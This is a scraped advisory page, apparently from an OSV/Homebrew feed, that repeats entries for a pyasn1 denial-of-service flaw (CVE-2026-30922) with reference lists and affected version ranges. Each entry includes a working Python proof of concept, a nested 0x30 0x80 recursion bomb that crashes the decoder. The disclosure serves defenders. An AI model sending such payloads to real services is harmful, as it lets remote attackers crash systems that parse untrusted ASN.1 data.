      "details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b\u0027\\x30\\x80\u0027 \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
      "id": "BREW-gyb-CVE-2026-30922",
      "modified": "2026-10-08T00:53:08Z",
      "published": "2026-08-13T16:55:28Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22987"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24761"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24762"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:65126"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6568"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6720"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6912"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6926"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:8437"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:10184"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:12176"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13902"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13916"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13917"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:16009"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17083"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19355"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19375"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:20588"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22131"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22132"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22133"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22134"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22135"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22969"
        },
        {
          "type": "WEB",
          "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Denial of Service in pyasn1 via Unbounded Recursion",
      "upstream": [
        "GHSA-jr27-m4p2-rc6r",
        "CVE-2026-30922",
        "PYSEC-2026-2263"
      ]
    }

    BREW-KIMI-CLI-CVE-2026-30922 (GHSA-JR27-M4P2-RC6R)

    Vulnerability from osv_homebrew – Published: 2026-08-13 17:01 – Updated: 2026-11-02 11:01 – Source website
    VLAI
    Summary
    Denial of Service in pyasn1 via Unbounded Recursion
    Details

    Summary

    The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

    Details

    The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

    1. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, **options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

    2. _decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, **options): This method handles decoding when no schema is provided.

    In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

    PoC

    import sys
    from pyasn1.codec.ber import decoder
    
    sys.setrecursionlimit(100000)
    
    print("[*] Generating Recursion Bomb Payload...")
    depth = 50_000
    chunk = b'\x30\x80' 
    payload = chunk * depth
    
    print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
    print("[*] Triggering Decoder...")
    
    try:
        decoder.decode(payload)
    except RecursionError:
        print("[!] Crashed: Recursion Limit Hit")
    except MemoryError:
        print("[!] Crashed: Out of Memory")
    except Exception as e:
        print(f"[!] Crashed: {e}")
    
    [*] Payload size: 9.77 KB
    [*] Triggering Decoder...
    [!] Crashed: Recursion Limit Hit
    

    Impact

    • This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
    • Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
    • Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.

    Credits

    Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-30922 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/5a49bd1fe… WEB
    https://github.com/pyasn1/pyasn1/commit/25ad481c1… WEB
    https://access.redhat.com/errata/RHSA-2026:22970 WEB
    https://access.redhat.com/errata/RHSA-2026:22987 WEB
    https://access.redhat.com/errata/RHSA-2026:24761 WEB
    https://access.redhat.com/errata/RHSA-2026:24762 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:6309 WEB
    https://access.redhat.com/errata/RHSA-2026:65126 WEB
    https://access.redhat.com/errata/RHSA-2026:6568 WEB
    https://access.redhat.com/errata/RHSA-2026:6720 WEB
    https://access.redhat.com/errata/RHSA-2026:6912 WEB
    https://access.redhat.com/errata/RHSA-2026:6926 WEB
    https://access.redhat.com/errata/RHSA-2026:8437 WEB
    https://access.redhat.com/security/cve/CVE-2026-30922 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2448553 WEB
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:10184 WEB
    https://access.redhat.com/errata/RHSA-2026:12176 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13902 WEB
    https://access.redhat.com/errata/RHSA-2026:13916 WEB
    https://access.redhat.com/errata/RHSA-2026:13917 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:16009 WEB
    https://access.redhat.com/errata/RHSA-2026:17083 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:19138 WEB
    https://access.redhat.com/errata/RHSA-2026:19355 WEB
    https://access.redhat.com/errata/RHSA-2026:19375 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:20588 WEB
    https://access.redhat.com/errata/RHSA-2026:22131 WEB
    https://access.redhat.com/errata/RHSA-2026:22132 WEB
    https://access.redhat.com/errata/RHSA-2026:22133 WEB
    https://access.redhat.com/errata/RHSA-2026:22134 WEB
    https://access.redhat.com/errata/RHSA-2026:22135 WEB
    https://access.redhat.com/errata/RHSA-2026:22969 WEB
    http://www.openwall.com/lists/oss-security/2026/03/20/4 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.3"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "kimi-cli",
            "purl": "pkg:brew/kimi-cli"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0.56"
                },
                {
                  "fixed": "1.24.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b\u0027\\x30\\x80\u0027 \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
      "id": "BREW-kimi-cli-CVE-2026-30922",
      "modified": "2026-11-02T11:01:00Z",
      "published": "2026-08-13T17:01:40Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22987"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24761"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24762"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:65126"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6568"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6720"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6912"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6926"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:8437"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:10184"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:12176"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13902"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13916"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13917"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:16009"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17083"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19355"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19375"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:20588"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22131"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22132"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22133"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22134"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22135"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22969"
        },
        {
          "type": "WEB",
          "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Denial of Service in pyasn1 via Unbounded Recursion",
      "upstream": [
        "GHSA-jr27-m4p2-rc6r",
        "CVE-2026-30922",
        "PYSEC-2026-2263"
      ]
    }

    BREW-LDEEP-CVE-2026-30922 (GHSA-JR27-M4P2-RC6R)

    Vulnerability from osv_homebrew – Published: 2026-08-13 17:02 – Updated: 2026-11-08 09:12 – Source website
    VLAI
    Summary
    Denial of Service in pyasn1 via Unbounded Recursion
    Details

    Summary

    The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

    Details

    The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

    1. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, **options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

    2. _decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, **options): This method handles decoding when no schema is provided.

    In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

    PoC

    import sys
    from pyasn1.codec.ber import decoder
    
    sys.setrecursionlimit(100000)
    
    print("[*] Generating Recursion Bomb Payload...")
    depth = 50_000
    chunk = b'\x30\x80' 
    payload = chunk * depth
    
    print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
    print("[*] Triggering Decoder...")
    
    try:
        decoder.decode(payload)
    except RecursionError:
        print("[!] Crashed: Recursion Limit Hit")
    except MemoryError:
        print("[!] Crashed: Out of Memory")
    except Exception as e:
        print(f"[!] Crashed: {e}")
    
    [*] Payload size: 9.77 KB
    [*] Triggering Decoder...
    [!] Crashed: Recursion Limit Hit
    

    Impact

    • This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
    • Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
    • Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.

    Credits

    Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-30922 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/5a49bd1fe… WEB
    https://github.com/pyasn1/pyasn1/commit/25ad481c1… WEB
    https://access.redhat.com/errata/RHSA-2026:22970 WEB
    https://access.redhat.com/errata/RHSA-2026:22987 WEB
    https://access.redhat.com/errata/RHSA-2026:24761 WEB
    https://access.redhat.com/errata/RHSA-2026:24762 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:6309 WEB
    https://access.redhat.com/errata/RHSA-2026:65126 WEB
    https://access.redhat.com/errata/RHSA-2026:6568 WEB
    https://access.redhat.com/errata/RHSA-2026:6720 WEB
    https://access.redhat.com/errata/RHSA-2026:6912 WEB
    https://access.redhat.com/errata/RHSA-2026:6926 WEB
    https://access.redhat.com/errata/RHSA-2026:8437 WEB
    https://access.redhat.com/security/cve/CVE-2026-30922 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2448553 WEB
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:10184 WEB
    https://access.redhat.com/errata/RHSA-2026:12176 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13902 WEB
    https://access.redhat.com/errata/RHSA-2026:13916 WEB
    https://access.redhat.com/errata/RHSA-2026:13917 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:16009 WEB
    https://access.redhat.com/errata/RHSA-2026:17083 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:19138 WEB
    https://access.redhat.com/errata/RHSA-2026:19355 WEB
    https://access.redhat.com/errata/RHSA-2026:19375 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:20588 WEB
    https://access.redhat.com/errata/RHSA-2026:22131 WEB
    https://access.redhat.com/errata/RHSA-2026:22132 WEB
    https://access.redhat.com/errata/RHSA-2026:22133 WEB
    https://access.redhat.com/errata/RHSA-2026:22134 WEB
    https://access.redhat.com/errata/RHSA-2026:22135 WEB
    https://access.redhat.com/errata/RHSA-2026:22969 WEB
    http://www.openwall.com/lists/oss-security/2026/03/20/4 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.3"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "ldeep",
            "purl": "pkg:brew/ldeep"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "1.0.35"
                },
                {
                  "fixed": "2.0.0_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is 